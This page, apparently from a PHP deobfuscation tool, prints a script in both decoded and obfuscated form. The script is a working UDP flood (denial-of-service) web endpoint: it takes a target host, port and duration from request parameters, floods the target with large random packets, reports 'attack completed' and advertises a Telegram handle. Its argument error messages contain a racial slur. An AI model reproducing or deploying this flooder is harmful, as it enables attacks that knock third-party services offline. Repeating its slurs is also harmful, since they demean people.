Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ruxM3; TTgpB: class DoS { const MIN_PACKET_SIZE = 61440; const MAX_PACKET_SIZ..

Decoded Output download

<?php 
 goto ruxM3; TTgpB: class DoS { const MIN_PACKET_SIZE = 61440; const MAX_PACKET_SIZE = 71680; private $host; private $port; private $time; private $random; public function __construct($host, $port, $time, $random) { Preconditions::checkArgument(strlen($host), "HOST NIGGA?"); Preconditions::checkArgument(is_numeric($port), "PORT NIGGA?"); Preconditions::checkArgument(is_numeric($time), "TIME NIGGA?"); Preconditions::checkArgument(is_bool($random), "RANDOM YES OR NO?"); $this->host = $host; $this->port = $port; $this->time = $time; $this->random = $random; } public function flood() { $socket = @fsockopen("udp://{$this->host}", $this->port, $errorNumber, $errorMessage, 30); if (!$socket) { throw new Exception($errorMessage); } $length = mt_rand(DoS::MIN_PACKET_SIZE, Dos::MAX_PACKET_SIZE); $packet = Random::string($length); $endTime = time() + $this->time; while (time() <= $endTime) { @fwrite($socket, $this->random ? str_shuffle($packet) : $packet); } @fclose($socket); } } goto oo_uR; Jqwbm: ini_set("max_execution_time", 0); goto TTgpB; ruxM3: error_reporting(E_ERROR | E_WARNING); goto Jqwbm; oo_uR: class Random { public static function string($length) { if (function_exists("openssl_random_pseudo_bytes")) { return bin2hex(openssl_random_pseudo_bytes($length / 2)); } else { return str_shuffle(substr(str_repeat(md5(mt_rand()), 2 + $length / 32), 0, $length)); } } } goto jsX3w; ZxgWt: class Application { public static function start($args) { if (sizeof($args) === 0) { echo json_encode(array("status" => "https://t.me/BloodyofcProof")); return; } $host = $args["host"]; $port = isset($args["port"]) ? $args["port"] : 80; $time = isset($args["time"]) ? $args["time"] : 60; $random = isset($args["random"]) ? $args["random"] === "true" : false; try { (new DoS($host, $port, $time, $random))->flood(); echo json_encode(array("status" => "attack completed")); } catch (Exception $e) { echo json_encode(array("status" => "attack failed", "error" => $e->getMessage())); } } } goto KF8P2; jsX3w: class Preconditions { public static function checkArgument($expression, $errorMessage) { if (!$expression) { throw new InvalidArgumentException($errorMessage); } } } goto ZxgWt; KF8P2: Application::start($_POST ? $_POST : $_GET); ?>

Did this file decode correctly?

Original Code

<?php
 goto ruxM3; TTgpB: class DoS { const MIN_PACKET_SIZE = 61440; const MAX_PACKET_SIZE = 71680; private $host; private $port; private $time; private $random; public function __construct($host, $port, $time, $random) { Preconditions::checkArgument(strlen($host), "\110\117\123\x54\40\x4e\111\x47\107\x41\x3f"); Preconditions::checkArgument(is_numeric($port), "\120\117\x52\124\x20\x4e\111\x47\107\x41\x3f"); Preconditions::checkArgument(is_numeric($time), "\x54\111\115\105\x20\116\x49\x47\107\x41\x3f"); Preconditions::checkArgument(is_bool($random), "\122\101\x4e\x44\117\x4d\40\131\105\x53\x20\117\122\40\x4e\x4f\x3f"); $this->host = $host; $this->port = $port; $this->time = $time; $this->random = $random; } public function flood() { $socket = @fsockopen("\x75\144\x70\x3a\57\x2f{$this->host}", $this->port, $errorNumber, $errorMessage, 30); if (!$socket) { throw new Exception($errorMessage); } $length = mt_rand(DoS::MIN_PACKET_SIZE, Dos::MAX_PACKET_SIZE); $packet = Random::string($length); $endTime = time() + $this->time; while (time() <= $endTime) { @fwrite($socket, $this->random ? str_shuffle($packet) : $packet); } @fclose($socket); } } goto oo_uR; Jqwbm: ini_set("\155\x61\x78\x5f\x65\170\145\143\165\164\151\157\x6e\x5f\164\x69\155\x65", 0); goto TTgpB; ruxM3: error_reporting(E_ERROR | E_WARNING); goto Jqwbm; oo_uR: class Random { public static function string($length) { if (function_exists("\157\x70\145\156\163\163\x6c\x5f\x72\141\156\144\157\155\137\160\163\145\x75\144\x6f\137\142\171\x74\145\163")) { return bin2hex(openssl_random_pseudo_bytes($length / 2)); } else { return str_shuffle(substr(str_repeat(md5(mt_rand()), 2 + $length / 32), 0, $length)); } } } goto jsX3w; ZxgWt: class Application { public static function start($args) { if (sizeof($args) === 0) { echo json_encode(array("\163\x74\141\x74\165\x73" => "\x68\164\x74\x70\163\72\x2f\57\164\56\x6d\145\57\102\154\x6f\157\144\x79\x6f\146\143\120\x72\x6f\x6f\x66")); return; } $host = $args["\150\x6f\x73\x74"]; $port = isset($args["\160\x6f\x72\164"]) ? $args["\x70\157\162\x74"] : 80; $time = isset($args["\x74\x69\155\x65"]) ? $args["\164\151\155\x65"] : 60; $random = isset($args["\162\x61\156\x64\157\155"]) ? $args["\x72\x61\x6e\x64\x6f\x6d"] === "\x74\162\x75\x65" : false; try { (new DoS($host, $port, $time, $random))->flood(); echo json_encode(array("\x73\164\141\164\165\x73" => "\x61\x74\164\141\143\x6b\40\x63\157\155\x70\x6c\145\164\145\144")); } catch (Exception $e) { echo json_encode(array("\x73\164\x61\164\165\163" => "\141\164\x74\141\x63\x6b\x20\146\x61\151\x6c\x65\144", "\x65\162\x72\x6f\x72" => $e->getMessage())); } } } goto KF8P2; jsX3w: class Preconditions { public static function checkArgument($expression, $errorMessage) { if (!$expression) { throw new InvalidArgumentException($errorMessage); } } } goto ZxgWt; KF8P2: Application::start($_POST ? $_POST : $_GET);

Function Calls

None

Variables

None

Stats

MD5 25a5205743bce8d1a033f7a234f82da1
Eval Count 0
Decode Time 46 ms